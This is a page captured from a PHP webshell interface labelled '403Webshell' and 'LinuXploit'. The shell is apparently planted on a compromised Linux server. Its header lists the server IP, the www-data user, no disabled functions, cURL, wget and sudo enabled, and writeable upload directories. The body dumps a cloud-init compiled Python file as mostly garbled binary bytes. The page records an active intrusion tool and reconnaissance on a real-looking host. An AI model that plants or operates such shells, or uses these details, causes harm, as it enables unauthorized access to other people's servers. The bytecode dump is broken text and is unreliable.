403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/python3/dist-packages/cloudinit/__pycache__/socket.cpython-314.pyc
+
��ig���Rt^RIt^RIt^RIt^RIt^RIHt^RIHt^RI	H
t
^RIHt]P!]4tRRlt!RR	4tR#)
z#A module for common socket helpers.N)�suppress)�Dict)�performance)�DEFAULT_RUN_DIRc�$�V^8�dQhR\/#)��message��str)�formats"�2/usr/lib/python3/dist-packages/cloudinit/socket.py�__annotate__r
s��.�.�s�.�c�J�\PPRR4pV'gR#V^,R8XdVPRR^4MV^,R8wd\	R4h\
P
!\
P\
P\
P,4;_uu_4p\PR\V44VPV4VPVPR	44RRR4R# +'giR#;i)
zSSend a sd_notify message.

:param message: sd-notify message (must be valid ascii)
�
NOTIFY_SOCKET�N�@��/zUnsupported socket typezSending sd_notify(%s)�ascii)�os�environ�get�replace�OSError�socket�AF_UNIX�
SOCK_DGRAM�SOCK_CLOEXEC�LOG�infor
�connect�sendall�encode)r�socket_path�socks&  r�	sd_notifyr&s���
�*�*�.�.��"�5�K���	�Q��3�	����C��q�)�
�Q��3�	��/�0�0�	�������)�)�F�,?�,?�?�
�
�	
����(�#�g�,�7����[�!����W�^�^�G�,�-�
�
�
�
�s
�6AD�D"	c�Ta�]tRt^+toRtV3RlRltV3RlRltRtRtRt	Vt
R	#)
�
SocketSyncz<A two way synchronization protocol over Unix domain sockets.c� <�V^8�dQhRS[/#)r�namesr	)r�
__classdict__s"�rr
�SocketSync.__annotate__.s�����s�rc	��RVnRVn^VnRVnVUu/uFLpV\P!\P
\P\P,4bKN	upVn/Vn	\P!\R2RRR7VPP4Fhwr#\RVR2p\\4;_uu_4\P !V4R	R	R	4VP#V4VP%4Kj	R	#uupi +'giL<;i)
a6Initialize a synchronization context.

1) Ensure that the socket directory exists.
2) Bind a socket for each stage.

Binding the sockets on initialization allows receipt of stage
"start" notifications prior to the cloud-init stage being ready to
start.

:param names: stage names, used as a unique identifiers
rFz/sharei�T)�mode�exist_okz/share/z.sockN)�stage�first_exception�systemd_exit_code�experienced_any_errorrr�SOCK_STREAMr�sockets�connectionsr�makedirsr�itemsr�FileNotFoundError�remove�bind�listen)�selfr*�namer%r$s&*   r�__init__�SocketSync.__init__.s����
�!���!"���%*��"�
�	
���
�&�-�-����� 2� 2�V�5H�5H� H��
��	
���68���
����'�v�.�U�T�J��,�,�,�,�.�J�D�,�-�W�T�F�%�@�K��+�,�,��	�	�+�&�-��I�I�k�"��K�K�M�/��
�-�,�s�AD*�$D/�/D?c� <�V^8�dQhRS[/#)rr0r	)rr+s"�rr
r,Os�����c�rc�N�WP9d\RV24hWnV#)a>Set the stage before entering context.

This enables the context manager to be initialized separately from
each stage synchronization.

:param stage: the name of a stage to synchronize

Example:
    sync = SocketSync("stage 1", "stage 2"):
    with sync("stage 1"):
        pass
    with sync("stage 2"):
        pass
zInvalid stage name: )r5�
ValueErrorr0)r=r0s&&r�__call__�SocketSync.__call__Os+�����$��3�E�7�;�<�<��
��rc��\P!\PP	44'd\
P
R4R#^Vn\RVPR24VPVP,p\P!RVP24;_uu_4VP4wr#VP^4wrCW PVP&RRR4RX8wd,VP!RRR4\#R\%V4R24h\R	VPR
24V# +'giL];i)zwWait until a message has been received on this stage's socket.

Once the message has been received, enter the context.
z:Stdin is a tty, so skipping stage synchronization protocolNzDSTATUS=Waiting on external services to complete before starting the z stage.zWaiting to start stage sstartzReceived invalid message: [�]zSTATUS=Running (z stage))r�isatty�sys�stdin�filenorr r2r&r0r5r�Timed�accept�recvfromr6�__exit__rCr
)r=r%�
connection�_�chunks&    r�	__enter__�SocketSync.__enter__cs��
�9�9�S�Y�Y�%�%�'�(�(��H�H�L�
�
�!"����
,�,0�J�J�<�w�
@�	
��|�|�D�J�J�'��
�
�
�!8�����E�
F�
F� �K�K�M�M�J�!�*�*�1�-�H�E�+5���T�Z�Z�(�G�
�u���M�M�$��d�+��:�3�u�:�,�a�H�I�I��$�T�Z�Z�L��8�9���G�
F�s�8>E�E	c��\P!\PP	44'dR#RVP
2pV'df^VnRVn\V4RVP2pRpVP'gWPn
\PV4\RV24VP;'g\VP4VnVPVP
,pVP!RVRVPR	2P#44VP%4R#)
z.Notify the socket that this stage is complete.Nz,Completed socket interaction for boot stage Tz in zkfatal error, run "systemctl status cloud-init-main.service" and "cloud-init status --long" for more detailszSTATUS=zecho 'z'; exit �;)rrHrIrJrKr0r2r3�repr�tb_framer1r�fatalr&�boolr6r"r#�close)r=�exc_type�exc_val�exc_tbr�statusr%s&&&&   rrO�SocketSync.__exit__�s��
�9�9�S�Y�Y�%�%�'�(�(��@�����M���%&�D�"�)-�D�&��W�
��d�6�?�?�*;�<�F�B�
��'�'�'�'-�$��I�I�f�����x�(�)�%)�%?�%?�&
�&
�4��"�"�D
��"�����
�
�+��
	
����W�I�X�d�&<�&<�%=�Q�?�F�F�H�	
�	
�
�
��r)r6r3r1r5r0r2N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r?rDrSrO�__static_attributes__�__classdictcell__)r+s@rr(r(+s-����F���B��( �D%�%rr()re�loggingrrrI�
contextlibr�typingr�	cloudinitr�cloudinit.settingsr�	getLoggerrarr&r(�rr�<module>rosA��)��	�
�
���!�.�
����!��.�6�r

Youez - 2016 - github.com/yon3zu
LinuXploit